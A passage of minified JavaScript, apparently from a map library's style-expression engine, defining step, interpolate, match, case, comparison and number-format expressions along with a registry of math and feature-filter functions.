ce=0,me=ee;ce<me.length;ce+=1){var Se=me[ce],We=Se[0],at=Se[1];this.labels.push(We),this.outputs.push(at)}};rs.parse=function(D,U){if(D.length-1<4)return U.error("Expected at least 4 arguments, but found only "+(D.length-1)+".");if((D.length-1)%2!==0)return U.error("Expected an even number of arguments.");var ee=U.parse(D[1],1,br);if(!ee)return null;var ce=[],me=null;U.expectedType&&U.expectedType.kind!=="value"&&(me=U.expectedType);for(var Se=1;Se<D.length;Se+=2){var We=Se===1?-1/0:D[Se],at=D[Se+1],dt=Se,xt=Se+1;if(typeof We!="number")return U.error('Input/output pairs for "step" expressions must be defined using literal numeric values (not computed expressions) for the input values.',dt);if(ce.length&&ce[ce.length-1][0]>=We)return U.error('Input/output pairs for "step" expressions must be arranged with input values in strictly ascending order.',dt);var Bt=U.parse(at,xt,me);if(!Bt)return null;me=me||Bt.type,ce.push([We,Bt])}return new rs(me,ee,ce)},rs.prototype.evaluate=function(D){var U=this.labels,ee=this.outputs;if(U.length===1)return ee[0].evaluate(D);var ce=this.input.evaluate(D);if(ce<=U[0])return ee[0].evaluate(D);var me=U.length;if(ce>=U[me-1])return ee[me-1].evaluate(D);var Se=ks(U,ce);return ee[Se].evaluate(D)},rs.prototype.eachChild=function(D){D(this.input);for(var U=0,ee=this.outputs;U<ee.length;U+=1){var ce=ee[U];D(ce)}},rs.prototype.outputDefined=function(){return this.outputs.every(function(D){return D.outputDefined()})},rs.prototype.serialize=function(){for(var D=["step",this.input.serialize()],U=0;U<this.labels.length;U++)U>0&&D.push(this.labels[U]),D.push(this.outputs[U].serialize());return D};function xi(R,D,U){return R*(1-U)+D*U}function Ql(R,D,U){return new Ga(xi(R.r,D.r,U),xi(R.g,D.g,U),xi(R.b,D.b,U),xi(R.a,D.a,U))}function xl(R,D,U){return R.map(function(ee,ce){return xi(ee,D[ce],U)})}var _s=Object.freeze({__proto__:null,number:xi,color:Ql,array:xl}),Mu=.95047,Su=1,zs=1.08883,Fs=4/29,ki=6/29,bl=3*ki*ki,lf=ki*ki*ki,$l=Math.PI/180,uf=180/Math.PI;function wl(R){return R>lf?Math.pow(R,.3333333333333333):R/bl+Fs}function qs(R){return R>ki?R*R*R:bl*(R-Fs)}function ql(R){return 255*(R<=.0031308?12.92*R:1.055*Math.pow(R,.4166666666666667)-.055)}function eu(R){return R/=255,R<=.04045?R/12.92:Math.pow((R+.055)/1.055,2.4)}function el(R){var D=eu(R.r),U=eu(R.g),ee=eu(R.b),ce=wl((.4124564*D+.3575761*U+.1804375*ee)/Mu),me=wl((.2126729*D+.7151522*U+.072175*ee)/Su),Se=wl((.0193339*D+.119192*U+.9503041*ee)/zs);return{l:116*me-16,a:500*(ce-me),b:200*(me-Se),alpha:R.a}}function tu(R){var D=(R.l+16)/116,U=isNaN(R.a)?D:D+R.a/500,ee=isNaN(R.b)?D:D-R.b/200;return D=Su*qs(D),U=Mu*qs(U),ee=zs*qs(ee),new Ga(ql(3.2404542*U-1.5371385*D-.4985314*ee),ql(-.969266*U+1.8760108*D+.041556*ee),ql(.0556434*U-.2040259*D+1.0572252*ee),R.alpha)}function Tl(R,D,U){return{l:xi(R.l,D.l,U),a:xi(R.a,D.a,U),b:xi(R.b,D.b,U),alpha:xi(R.alpha,D.alpha,U)}}function ru(R){var D=el(R),U=D.l,ee=D.a,ce=D.b,me=Math.atan2(ce,ee)*uf;return{h:me<0?me+360:me,c:Math.sqrt(ee*ee+ce*ce),l:U,alpha:R.a}}function ri(R){var D=R.h*$l,U=R.c,ee=R.l;return tu({l:ee,a:Math.cos(D)*U,b:Math.sin(D)*U,alpha:R.alpha})}function Eu(R,D,U){var ee=D-R;return R+U*(ee>180||ee<-180?ee-360*Math.round(ee/360):ee)}function wo(R,D,U){return{h:Eu(R.h,D.h,U),c:xi(R.c,D.c,U),l:xi(R.l,D.l,U),alpha:xi(R.alpha,D.alpha,U)}}var Os={forward:el,reverse:tu,interpolate:Tl},ms={forward:ru,reverse:ri,interpolate:wo},nu=Object.freeze({__proto__:null,lab:Os,hcl:ms}),wi=function(D,U,ee,ce,me){this.type=D,this.operator=U,this.interpolation=ee,this.input=ce,this.labels=[],this.outputs=[];for(var Se=0,We=me;Se<We.length;Se+=1){var at=We[Se],dt=at[0],xt=at[1];this.labels.push(dt),this.outputs.push(xt)}};wi.interpolationFactor=function(D,U,ee,ce){var me=0;if(D.name==="exponential")me=tl(U,D.base,ee,ce);else if(D.name==="linear")me=tl(U,1,ee,ce);else if(D.name==="cubic-bezier"){var Se=D.controlPoints,We=new d(Se[0],Se[1],Se[2],Se[3]);me=We.solve(tl(U,1,ee,ce))}return me},wi.parse=function(D,U){var ee=D[0],ce=D[1],me=D[2],Se=D.slice(3);if(!Array.isArray(ce)||ce.length===0)return U.error("Expected an interpolation type expression.",1);if(ce[0]==="linear")ce={name:"linear"};else if(ce[0]==="exponential"){var We=ce[1];if(typeof We!="number")return U.error("Exponential interpolation requires a numeric base.",1,1);ce={name:"exponential",base:We}}else if(ce[0]==="cubic-bezier"){var at=ce.slice(1);if(at.length!==4||at.some(function(Zr){return typeof Zr!="number"||Zr<0||Zr>1}))return U.error("Cubic bezier interpolation requires four numeric arguments with values between 0 and 1.",1);ce={name:"cubic-bezier",controlPoints:at}}else return U.error("Unknown interpolation type "+String(ce[0]),1,0);if(D.length-1<4)return U.error("Expected at least 4 arguments, but found only "+(D.length-1)+".");if((D.length-1)%2!==0)return U.error("Expected an even number of arguments.");if(me=U.parse(me,2,br),!me)return null;var dt=[],xt=null;ee==="interpolate-hcl"||ee==="interpolate-lab"?xt=Ln:U.expectedType&&U.expectedType.kind!=="value"&&(xt=U.expectedType);for(var Bt=0;Bt<Se.length;Bt+=2){var qt=Se[Bt],Zt=Se[Bt+1],vr=Bt+3,kr=Bt+4;if(typeof qt!="number")return U.error('Input/output pairs for "interpolate" expressions must be defined using literal numeric values (not computed expressions) for the input values.',vr);if(dt.length&&dt[dt.length-1][0]>=qt)return U.error('Input/output pairs for "interpolate" expressions must be arranged with input values in strictly ascending order.',vr);var Jr=U.parse(Zt,kr,xt);if(!Jr)return null;xt=xt||Jr.type,dt.push([qt,Jr])}return xt.kind!=="number"&&xt.kind!=="color"&&!(xt.kind==="array"&&xt.itemType.kind==="number"&&typeof xt.N=="number")?U.error("Type "+oa(xt)+" is not interpolatable."):new wi(xt,ee,ce,me,dt)},wi.prototype.evaluate=function(D){var U=this.labels,ee=this.outputs;if(U.length===1)return ee[0].evaluate(D);var ce=this.input.evaluate(D);if(ce<=U[0])return ee[0].evaluate(D);var me=U.length;if(ce>=U[me-1])return ee[me-1].evaluate(D);var Se=ks(U,ce),We=U[Se],at=U[Se+1],dt=wi.interpolationFactor(this.interpolation,ce,We,at),xt=ee[Se].evaluate(D),Bt=ee[Se+1].evaluate(D);return this.operator==="interpolate"?_s[this.type.kind.toLowerCase()](xt,Bt,dt):this.operator==="interpolate-hcl"?ms.reverse(ms.interpolate(ms.forward(xt),ms.forward(Bt),dt)):Os.reverse(Os.interpolate(Os.forward(xt),Os.forward(Bt),dt))},wi.prototype.eachChild=function(D){D(this.input);for(var U=0,ee=this.outputs;U<ee.length;U+=1){var ce=ee[U];D(ce)}},wi.prototype.outputDefined=function(){return this.outputs.every(function(D){return D.outputDefined()})},wi.prototype.serialize=function(){var D;this.interpolation.name==="linear"?D=["linear"]:this.interpolation.name==="exponential"?this.interpolation.base===1?D=["linear"]:D=["exponential",this.interpolation.base]:D=["cubic-bezier"].concat(this.interpolation.controlPoints);for(var U=[this.operator,D,this.input.serialize()],ee=0;ee<this.labels.length;ee++)U.push(this.labels[ee],this.outputs[ee].serialize());return U};function tl(R,D,U,ee){var ce=ee-U,me=R-U;return ce===0?0:D===1?me/ce:(Math.pow(D,me)-1)/(Math.pow(D,ce)-1)}var to=function(D,U){this.type=D,this.args=U};to.parse=function(D,U){if(D.length<2)return U.error("Expectected at least one argument.");var ee=null,ce=U.expectedType;ce&&ce.kind!=="value"&&(ee=ce);for(var me=[],Se=0,We=D.slice(1);Se<We.length;Se+=1){var at=We[Se],dt=U.parse(at,1+me.length,ee,void 0,{typeAnnotation:"omit"});if(!dt)return null;ee=ee||dt.type,me.push(dt)}var xt=ce&&me.some(function(Bt){return Gi(ce,Bt.type)});return xt?new to(fn,me):new to(ee,me)},to.prototype.evaluate=function(D){for(var U=null,ee=0,ce,me=0,Se=this.args;me<Se.length;me+=1){var We=Se[me];if(ee++,U=We.evaluate(D),U&&U instanceof eo&&!U.available&&(ce||(ce=U.name),U=null,ee===this.args.length&&(U=ce)),U!==null)break}return U},to.prototype.eachChild=function(D){this.args.forEach(D)},to.prototype.outputDefined=function(){return this.args.every(function(D){return D.outputDefined()})},to.prototype.serialize=function(){var D=["coalesce"];return this.eachChild(function(U){D.push(U.serialize())}),D};var Xo=function(D,U){this.type=U.type,this.bindings=[].concat(D),this.result=U};Xo.prototype.evaluate=function(D){return this.result.evaluate(D)},Xo.prototype.eachChild=function(D){for(var U=0,ee=this.bindings;U<ee.length;U+=1){var ce=ee[U];D(ce[1])}D(this.result)},Xo.parse=function(D,U){if(D.length<4)return U.error("Expected at least 3 arguments, but found "+(D.length-1)+" instead.");for(var ee=[],ce=1;ce<D.length-1;ce+=2){var me=D[ce];if(typeof me!="string")return U.error("Expected string, but found "+typeof me+" instead.",ce);if(/[^a-zA-Z0-9_]/.test(me))return U.error("Variable names must contain only alphanumeric characters or '_'.",ce);var Se=U.parse(D[ce+1],ce+1);if(!Se)return null;ee.push([me,Se])}var We=U.parse(D[D.length-1],D.length-1,U.expectedType,ee);return We?new Xo(ee,We):null},Xo.prototype.outputDefined=function(){return this.result.outputDefined()},Xo.prototype.serialize=function(){for(var D=["let"],U=0,ee=this.bindings;U<ee.length;U+=1){var ce=ee[U],me=ce[0],Se=ce[1];D.push(me,Se.serialize())}return D.push(this.result.serialize()),D};var jo=function(D,U,ee){this.type=D,this.index=U,this.input=ee};jo.parse=function(D,U){if(D.length!==3)return U.error("Expected 2 arguments, but found "+(D.length-1)+" instead.");var ee=U.parse(D[1],1,br),ce=U.parse(D[2],2,$n(U.expectedType||fn));if(!ee||!ce)return null;var me=ce.type;return new jo(me.itemType,ee,ce)},jo.prototype.evaluate=function(D){var U=this.index.evaluate(D),ee=this.input.evaluate(D);if(U<0)throw new Li("Array index out of bounds: "+U+" < 0.");if(U>=ee.length)throw new Li("Array index out of bounds: "+U+" > "+(ee.length-1)+".");if(U!==Math.floor(U))throw new Li("Array index must be an integer, but found "+U+" instead.");return ee[U]},jo.prototype.eachChild=function(D){D(this.index),D(this.input)},jo.prototype.outputDefined=function(){return!1},jo.prototype.serialize=function(){return["at",this.index.serialize(),this.input.serialize()]};var ns=function(D,U){this.type=ln,this.needle=D,this.haystack=U};ns.parse=function(D,U){if(D.length!==3)return U.error("Expected 2 arguments, but found "+(D.length-1)+" instead.");var ee=U.parse(D[1],1,fn),ce=U.parse(D[2],2,fn);return!ee||!ce?null:Xi(ee.type,[ln,Lr,br,Ar,fn])?new ns(ee,ce):U.error("Expected first argument to be of type boolean, string, number or null, but found "+oa(ee.type)+" instead")},ns.prototype.evaluate=function(D){var U=this.needle.evaluate(D),ee=this.haystack.evaluate(D);if(!ee)return!1;if(!qi(U,["boolean","string","number","null"]))throw new Li("Expected first argument to be of type boolean, string, number or null, but found "+oa(gi(U))+" instead.");if(!qi(ee,["string","array"]))throw new Li("Expected second argument to be of type array or string, but found "+oa(gi(ee))+" instead.");return ee.indexOf(U)>=0},ns.prototype.eachChild=function(D){D(this.needle),D(this.haystack)},ns.prototype.outputDefined=function(){return!0},ns.prototype.serialize=function(){return["in",this.needle.serialize(),this.haystack.serialize()]};var as=function(D,U,ee){this.type=br,this.needle=D,this.haystack=U,this.fromIndex=ee};as.parse=function(D,U){if(D.length<=2||D.length>=5)return U.error("Expected 3 or 4 arguments, but found "+(D.length-1)+" instead.");var ee=U.parse(D[1],1,fn),ce=U.parse(D[2],2,fn);if(!ee||!ce)return null;if(!Xi(ee.type,[ln,Lr,br,Ar,fn]))return U.error("Expected first argument to be of type boolean, string, number or null, but found "+oa(ee.type)+" instead");if(D.length===4){var me=U.parse(D[3],3,br);return me?new as(ee,ce,me):null}else return new as(ee,ce)},as.prototype.evaluate=function(D){var U=this.needle.evaluate(D),ee=this.haystack.evaluate(D);if(!qi(U,["boolean","string","number","null"]))throw new Li("Expected first argument to be of type boolean, string, number or null, but found "+oa(gi(U))+" instead.");if(!qi(ee,["string","array"]))throw new Li("Expected second argument to be of type array or string, but found "+oa(gi(ee))+" instead.");if(this.fromIndex){var ce=this.fromIndex.evaluate(D);return ee.indexOf(U,ce)}return ee.indexOf(U)},as.prototype.eachChild=function(D){D(this.needle),D(this.haystack),this.fromIndex&&D(this.fromIndex)},as.prototype.outputDefined=function(){return!1},as.prototype.serialize=function(){if(this.fromIndex!=null&&this.fromIndex!==void 0){var D=this.fromIndex.serialize();return["index-of",this.needle.serialize(),this.haystack.serialize(),D]}return["index-of",this.needle.serialize(),this.haystack.serialize()]};var is=function(D,U,ee,ce,me,Se){this.inputType=D,this.type=U,this.input=ee,this.cases=ce,this.outputs=me,this.otherwise=Se};is.parse=function(D,U){if(D.length<5)return U.error("Expected at least 4 arguments, but found only "+(D.length-1)+".");if(D.length%2!==1)return U.error("Expected an even number of arguments.");var ee,ce;U.expectedType&&U.expectedType.kind!=="value"&&(ce=U.expectedType);for(var me={},Se=[],We=2;We<D.length-1;We+=2){var at=D[We],dt=D[We+1];Array.isArray(at)||(at=[at]);var xt=U.concat(We);if(at.length===0)return xt.error("Expected at least one branch label.");for(var Bt=0,qt=at;Bt<qt.length;Bt+=1){var Zt=qt[Bt];if(typeof Zt!="number"&&typeof Zt!="string")return xt.error("Branch labels must be numbers or strings.");if(typeof Zt=="number"&&Math.abs(Zt)>Number.MAX_SAFE_INTEGER)return xt.error("Branch labels must be integers no larger than "+Number.MAX_SAFE_INTEGER+".");if(typeof Zt=="number"&&Math.floor(Zt)!==Zt)return xt.error("Numeric branch labels must be integer values.");if(!ee)ee=gi(Zt);else if(xt.checkSubtype(ee,gi(Zt)))return null;if(typeof me[String(Zt)]<"u")return xt.error("Branch labels must be unique.");me[String(Zt)]=Se.length}var vr=U.parse(dt,We,ce);if(!vr)return null;ce=ce||vr.type,Se.push(vr)}var kr=U.parse(D[1],1,fn);if(!kr)return null;var Jr=U.parse(D[D.length-1],D.length-1,ce);return!Jr||kr.type.kind!=="value"&&U.concat(1).checkSubtype(ee,kr.type)?null:new is(ee,ce,kr,me,Se,Jr)},is.prototype.evaluate=function(D){var U=this.input.evaluate(D),ee=gi(U)===this.inputType&&this.outputs[this.cases[U]]||this.otherwise;return ee.evaluate(D)},is.prototype.eachChild=function(D){D(this.input),this.outputs.forEach(D),D(this.otherwise)},is.prototype.outputDefined=function(){return this.outputs.every(function(D){return D.outputDefined()})&&this.otherwise.outputDefined()},is.prototype.serialize=function(){for(var D=this,U=["match",this.input.serialize()],ee=Object.keys(this.cases).sort(),ce=[],me={},Se=0,We=ee;Se<We.length;Se+=1){var at=We[Se],dt=me[this.cases[at]];dt===void 0?(me[this.cases[at]]=ce.length,ce.push([this.cases[at],[at]])):ce[dt][1].push(at)}for(var xt=function(kr){return D.inputType.kind==="number"?Number(kr):kr},Bt=0,qt=ce;Bt<qt.length;Bt+=1){var Zt=qt[Bt],dt=Zt[0],vr=Zt[1];vr.length===1?U.push(xt(vr[0])):U.push(vr.map(xt)),U.push(this.outputs[outputIndex$1].serialize())}return U.push(this.otherwise.serialize()),U};var To=function(D,U,ee){this.type=D,this.branches=U,this.otherwise=ee};To.parse=function(D,U){if(D.length<4)return U.error("Expected at least 3 arguments, but found only "+(D.length-1)+".");if(D.length%2!==0)return U.error("Expected an odd number of arguments.");var ee;U.expectedType&&U.expectedType.kind!=="value"&&(ee=U.expectedType);for(var ce=[],me=1;me<D.length-1;me+=2){var Se=U.parse(D[me],me,ln);if(!Se)return null;var We=U.parse(D[me+1],me+1,ee);if(!We)return null;ce.push([Se,We]),ee=ee||We.type}var at=U.parse(D[D.length-1],D.length-1,ee);return at?new To(ee,ce,at):null},To.prototype.evaluate=function(D){for(var U=0,ee=this.branches;U<ee.length;U+=1){var ce=ee[U],me=ce[0],Se=ce[1];if(me.evaluate(D))return Se.evaluate(D)}return this.otherwise.evaluate(D)},To.prototype.eachChild=function(D){for(var U=0,ee=this.branches;U<ee.length;U+=1){var ce=ee[U],me=ce[0],Se=ce[1];D(me),D(Se)}D(this.otherwise)},To.prototype.outputDefined=function(){return this.branches.every(function(D){D[0];var U=D[1];return U.outputDefined()})&&this.otherwise.outputDefined()},To.prototype.serialize=function(){var D=["case"];return this.eachChild(function(U){D.push(U.serialize())}),D};var _o=function(D,U,ee,ce){this.type=D,this.input=U,this.beginIndex=ee,this.endIndex=ce};_o.parse=function(D,U){if(D.length<=2||D.length>=5)return U.error("Expected 3 or 4 arguments, but found "+(D.length-1)+" instead.");var ee=U.parse(D[1],1,fn),ce=U.parse(D[2],2,br);if(!ee||!ce)return null;if(!Xi(ee.type,[$n(fn),Lr,fn]))return U.error("Expected first argument to be of type array or string, but found "+oa(ee.type)+" instead");if(D.length===4){var me=U.parse(D[3],3,br);return me?new _o(ee.type,ee,ce,me):null}else return new _o(ee.type,ee,ce)},_o.prototype.evaluate=function(D){var U=this.input.evaluate(D),ee=this.beginIndex.evaluate(D);if(!qi(U,["string","array"]))throw new Li("Expected first argument to be of type array or string, but found "+oa(gi(U))+" instead.");if(this.endIndex){var ce=this.endIndex.evaluate(D);return U.slice(ee,ce)}return U.slice(ee)},_o.prototype.eachChild=function(D){D(this.input),D(this.beginIndex),this.endIndex&&D(this.endIndex)},_o.prototype.outputDefined=function(){return!1},_o.prototype.serialize=function(){if(this.endIndex!=null&&this.endIndex!==void 0){var D=this.endIndex.serialize();return["slice",this.input.serialize(),this.beginIndex.serialize(),D]}return["slice",this.input.serialize(),this.beginIndex.serialize()]};function rl(R,D){return R==="=="||R==="!="?D.kind==="boolean"||D.kind==="string"||D.kind==="number"||D.kind==="null"||D.kind==="value":D.kind==="string"||D.kind==="number"||D.kind==="value"}function nl(R,D,U){return D===U}function Al(R,D,U){return D!==U}function ff(R,D,U){return D<U}function cf(R,D,U){return D>U}function hf(R,D,U){return D<=U}function vf(R,D,U){return D>=U}function Ml(R,D,U,ee){return ee.compare(D,U)===0}function Cu(R,D,U,ee){return!Ml(R,D,U,ee)}function Bs(R,D,U,ee){return ee.compare(D,U)<0}function Oi(R,D,U,ee){return ee.compare(D,U)>0}function ro(R,D,U,ee){return ee.compare(D,U)<=0}function al(R,D,U,ee){return ee.compare(D,U)>=0}function xs(R,D,U){var ee=R!=="=="&&R!=="!=";return function(){function ce(me,Se,We){this.type=ln,this.lhs=me,this.rhs=Se,this.collator=We,this.hasUntypedArgument=me.type.kind==="value"||Se.type.kind==="value"}return ce.parse=function(Se,We){if(Se.length!==3&&Se.length!==4)return We.error("Expected two or three arguments.");var at=Se[0],dt=We.parse(Se[1],1,fn);if(!dt)return null;if(!rl(at,dt.type))return We.concat(1).error('"'+at+`" comparisons are not supported for type '`+oa(dt.type)+"'.");var xt=We.parse(Se[2],2,fn);if(!xt)return null;if(!rl(at,xt.type))return We.concat(2).error('"'+at+`" comparisons are not supported for type '`+oa(xt.type)+"'.");if(dt.type.kind!==xt.type.kind&&dt.type.kind!=="value"&&xt.type.kind!=="value")return We.error("Cannot compare types '"+oa(dt.type)+"' and '"+oa(xt.type)+"'.");ee&&(dt.type.kind==="value"&&xt.type.kind!=="value"?dt=new Wi(xt.type,[dt]):dt.type.kind!=="value"&&xt.type.kind==="value"&&(xt=new Wi(dt.type,[xt])));var Bt=null;if(Se.length===4){if(dt.type.kind!=="string"&&xt.type.kind!=="string"&&dt.type.kind!=="value"&&xt.type.kind!=="value")return We.error("Cannot use collator to compare non-string types.");if(Bt=We.parse(Se[3],3,Zn),!Bt)return null}return new ce(dt,xt,Bt)},ce.prototype.evaluate=function(Se){var We=this.lhs.evaluate(Se),at=this.rhs.evaluate(Se);if(ee&&this.hasUntypedArgument){var dt=gi(We),xt=gi(at);if(dt.kind!==xt.kind||!(dt.kind==="string"||dt.kind==="number"))throw new Li('Expected arguments for "'+R+'" to be (string, string) or (number, number), but found ('+dt.kind+", "+xt.kind+") instead.")}if(this.collator&&!ee&&this.hasUntypedArgument){var Bt=gi(We),qt=gi(at);if(Bt.kind!=="string"||qt.kind!=="string")return D(Se,We,at)}return this.collator?U(Se,We,at,this.collator.evaluate(Se)):D(Se,We,at)},ce.prototype.eachChild=function(Se){Se(this.lhs),Se(this.rhs),this.collator&&Se(this.collator)},ce.prototype.outputDefined=function(){return!0},ce.prototype.serialize=function(){var Se=[R];return this.eachChild(function(We){Se.push(We.serialize())}),Se},ce}()}var il=xs("==",nl,Ml),Sl=xs("!=",Al,Cu),df=xs("<",ff,Bs),Lu=xs(">",cf,Oi),Pu=xs("<=",hf,ro),au=xs(">=",vf,al),os=function(D,U,ee,ce,me){this.type=Lr,this.number=D,this.locale=U,this.currency=ee,this.minFractionDigits=ce,this.maxFractionDigits=me};os.parse=function(D,U){if(D.length!==3)return U.error("Expected two arguments.");var ee=U.parse(D[1],1,br);if(!ee)return null;var ce=D[2];if(typeof ce!="object"||Array.isArray(ce))return U.error("NumberFormat options argument must be an object.");var me=null;if(ce.locale&&(me=U.parse(ce.locale,1,Lr),!me))return null;var Se=null;if(ce.currency&&(Se=U.parse(ce.currency,1,Lr),!Se))return null;var We=null;if(ce["min-fraction-digits"]&&(We=U.parse(ce["min-fraction-digits"],1,br),!We))return null;var at=null;return ce["max-fraction-digits"]&&(at=U.parse(ce["max-fraction-digits"],1,br),!at)?null:new os(ee,me,Se,We,at)},os.prototype.evaluate=function(D){return new Intl.NumberFormat(this.locale?this.locale.evaluate(D):[],{style:this.currency?"currency":"decimal",currency:this.currency?this.currency.evaluate(D):void 0,minimumFractionDigits:this.minFractionDigits?this.minFractionDigits.evaluate(D):void 0,maximumFractionDigits:this.maxFractionDigits?this.maxFractionDigits.evaluate(D):void 0}).format(this.number.evaluate(D))},os.prototype.eachChild=function(D){D(this.number),this.locale&&D(this.locale),this.currency&&D(this.currency),this.minFractionDigits&&D(this.minFractionDigits),this.maxFractionDigits&&D(this.maxFractionDigits)},os.prototype.outputDefined=function(){return!1},os.prototype.serialize=function(){var D={};return this.locale&&(D.locale=this.locale.serialize()),this.currency&&(D.currency=this.currency.serialize()),this.minFractionDigits&&(D["min-fraction-digits"]=this.minFractionDigits.serialize()),this.maxFractionDigits&&(D["max-fraction-digits"]=this.maxFractionDigits.serialize()),["number-format",this.number.serialize(),D]};var Ti=function(D){this.type=br,this.input=D};Ti.parse=function(D,U){if(D.length!==2)return U.error("Expected 1 argument, but found "+(D.length-1)+" instead.");var ee=U.parse(D[1],1);return ee?ee.type.kind!=="array"&&ee.type.kind!=="string"&&ee.type.kind!=="value"?U.error("Expected argument of type string or array, but found "+oa(ee.type)+" instead."):new Ti(ee):null},Ti.prototype.evaluate=function(D){var U=this.input.evaluate(D);if(typeof U=="string")return U.length;if(Array.isArray(U))return U.length;throw new Li("Expected value to be of type string or array, but found "+oa(gi(U))+" instead.")},Ti.prototype.eachChild=function(D){D(this.input)},Ti.prototype.outputDefined=function(){return!1},Ti.prototype.serialize=function(){var D=["length"];return this.eachChild(function(U){D.push(U.serialize())}),D};var zo={"==":il,"!=":Sl,">":Lu,"<":df,">=":au,"<=":Pu,array:Wi,at:jo,boolean:Wi,case:To,coalesce:to,collator:Wo,format:ho,image:Ro,in:ns,"index-of":as,interpolate:wi,"interpolate-hcl":wi,"interpolate-lab":wi,length:Ti,let:Xo,literal:oo,match:is,number:Wi,"number-format":os,object:Wi,slice:_o,step:rs,string:Wi,"to-boolean":zi,"to-color":zi,"to-number":zi,"to-string":zi,var:ko,within:vo};function iu(R,D){var U=D[0],ee=D[1],ce=D[2],me=D[3];U=U.evaluate(R),ee=ee.evaluate(R),ce=ce.evaluate(R);var Se=me?me.evaluate(R):1,We=bu(U,ee,ce,Se);if(We)throw new Li(We);return new Ga(U/255*Se,ee/255*Se,ce/255*Se,Se)}function Ru(R,D){return R in D}function bs(R,D){var U=D[R];return typeof U>"u"?null:U}function El(R,D,U,ee){for(;U<=ee;){var ce=U+ee>>1;if(D[ce]===R)return!0;D[ce]>R?ee=ce-1:U=ce+1}return!1}function Ao(R){return{type:R}}Fi.register(zo,{error:[Rn,[Lr],function(R,D){var U=D[0];throw new Li(U.evaluate(R))}],typeof:[Lr,[fn],function(R,D){var U=D[0];return oa(gi(U.evaluate(R)))}],"to-rgba":[$n(br,4),[Ln],function(R,D){var U=D[0];return U.evaluate(R).toArray()}],rgb:[Ln,[br,br,br],iu],rgba:[Ln,[br,br,br,br],iu],has:{type:ln,overloads:[[[Lr],function(R,D){var U=D[0];return Ru(U.evaluate(R),R.properties())}],[[Lr,On],function(R,D){var U=D[0],ee=D[1];return Ru(U.evaluate(R),ee.evaluate(R))}]]},get:{type:fn,overloads:[[[Lr],function(R,D){var U=D[0];return bs(U.evaluate(R),R.properties())}],[[Lr,On],function(R,D){var U=D[0],ee=D[1];return bs(U.evaluate(R),ee.evaluate(R))}]]},"feature-state":[fn,[Lr],function(R,D){var U=D[0];return bs(U.evaluate(R),R.featureState||{})}],properties:[On,[],function(R){return R.properties()}],"geometry-type":[Lr,[],function(R){return R.geometryType()}],id:[fn,[],function(R){return R.id()}],zoom:[br,[],function(R){return R.globals.zoom}],"heatmap-density":[br,[],function(R){return R.globals.heatmapDensity||0}],"line-progress":[br,[],function(R){return R.globals.lineProgress||0}],accumulated:[fn,[],function(R){return R.globals.accumulated===void 0?null:R.globals.accumulated}],"+":[br,Ao(br),function(R,D){for(var U=0,ee=0,ce=D;ee<ce.length;ee+=1){var me=ce[ee];U+=me.evaluate(R)}return U}],"*":[br,Ao(br),function(R,D){for(var U=1,ee=0,ce=D;ee<ce.length;ee+=1){var me=ce[ee];U*=me.evaluate(R)}return U}],"-":{type:br,overloads:[[[br,br],function(R,D){var U=D[0],ee=D[1];return U.evaluate(R)-ee.evaluate(R)}],[[br],function(R,D){var U=D[0];return-U.evaluate(R)}]]},"/":[br,[br,br],function(R,D){var U=D[0],ee=D[1];return U.evaluate(R)/ee.evaluate(R)}],"%":[br,[br,br],function(R,D){var U=D[0],ee=D[1];return U.evaluate(R)%ee.evaluate(R)}],ln2:[br,[],function(){return Math.LN2}],pi:[br,[],function(){return Math.PI}],e:[br,[],function(){return Math.E}],"^":[br,[br,br],function(R,D){var U=D[0],ee=D[1];return Math.pow(U.evaluate(R),ee.evaluate(R))}],sqrt:[br,[br],function(R,D){var U=D[0];return Math.sqrt(U.evaluate(R))}],log10:[br,[br],function(R,D){var U=D[0];return Math.log(U.evaluate(R))/Math.LN10}],ln:[br,[br],function(R,D){var U=D[0];return Math.log(U.evaluate(R))}],log2:[br,[br],function(R,D){var U=D[0];return Math.log(U.evaluate(R))/Math.LN2}],sin:[br,[br],function(R,D){var U=D[0];return Math.sin(U.evaluate(R))}],cos:[br,[br],function(R,D){var U=D[0];return Math.cos(U.evaluate(R))}],tan:[br,[br],function(R,D){var U=D[0];return Math.tan(U.evaluate(R))}],asin:[br,[br],function(R,D){var U=D[0];return Math.asin(U.evaluate(R))}],acos:[br,[br],function(R,D){var U=D[0];return Math.acos(U.evaluate(R))}],atan:[br,[br],function(R,D){var U=D[0];return Math.atan(U.evaluate(R))}],min:[br,Ao(br),function(R,D){return Math.min.apply(Math,D.map(function(U){return U.evaluate(R)}))}],max:[br,Ao(br),function(R,D){return Math.max.apply(Math,D.map(function(U){return U.evaluate(R)}))}],abs:[br,[br],function(R,D){var U=D[0];return Math.abs(U.evaluate(R))}],round:[br,[br],function(R,D){var U=D[0],ee=U.evaluate(R);return ee<0?-Math.round(-ee):Math.round(ee)}],floor:[br,[br],function(R,D){var U=D[0];return Math.floor(U.evaluate(R))}],ceil:[br,[br],function(R,D){var U=D[0];return Math.ceil(U.evaluate(R))}],"filter-==":[ln,[Lr,fn],function(R,D){var U=D[0],ee=D[1];return R.properties()[U.value]===ee.value}],"filter-id-==":[ln,[fn],function(R,D){var U=D[0];return R.id()===U.value}],"filter-type-==":[ln,[Lr],function(R,D){var U=D[0];return R.geometryType()===U.value}],"filter-<":[ln,[Lr,fn],function(R,D){var U=D[0],ee=D[1],ce=R.properties()[U.value],me=ee.value;return typeof ce==typeof me&&ce<me}],"filter-id-<":[ln,[fn],function(R,D){var U=D[0],ee=R.id(),ce=U.value;return typeof ee==typeof ce&&ee<ce}],"filter->":[ln,[Lr,fn],function(R,D){var U=D[0],ee=D[1],ce=R.properties()[U.value],me=ee.value;return typeof ce==typeof me&&ce>me}],"filter-id->":[ln,[fn],function(R,D){var U=D[0],ee=R.id(),ce=U.value;return typeof ee==typeof ce&&ee>ce}],"filter-<=":[ln,[Lr,fn],function(R,D){var U=D[0],ee=D[1],ce=R.properties()[U.value],me=ee.value;return typeof ce==typeof me&&ce<=me}],"filter-id-<=":[ln,[fn],function(R,D){var U=D[0],ee=R.id(),ce=U.value;return typeof ee==typeof ce&&ee<=ce}],"filter->=":[ln,[Lr,fn],function(R,D){var U=D[0],ee=D[1],ce=R.properties()[U.value],me=ee.value;return typeof ce==typeof me&&ce>=me}],"filter-id->=":[ln,[fn],function(R,D){var U=D[0],ee=R.id(),ce=U.value;return typeof ee==typeof ce&&ee>=ce}],"filter-has":[ln,[fn],function(R,D){var U=D[0];return U.value in R.properties()}],"filter-has-id":[ln,[],function(R){return R.id()!==null&&R.id()!==void 0}],"filter-type-in":[ln,[$n(Lr)],function(R,D){var U=D[0];return 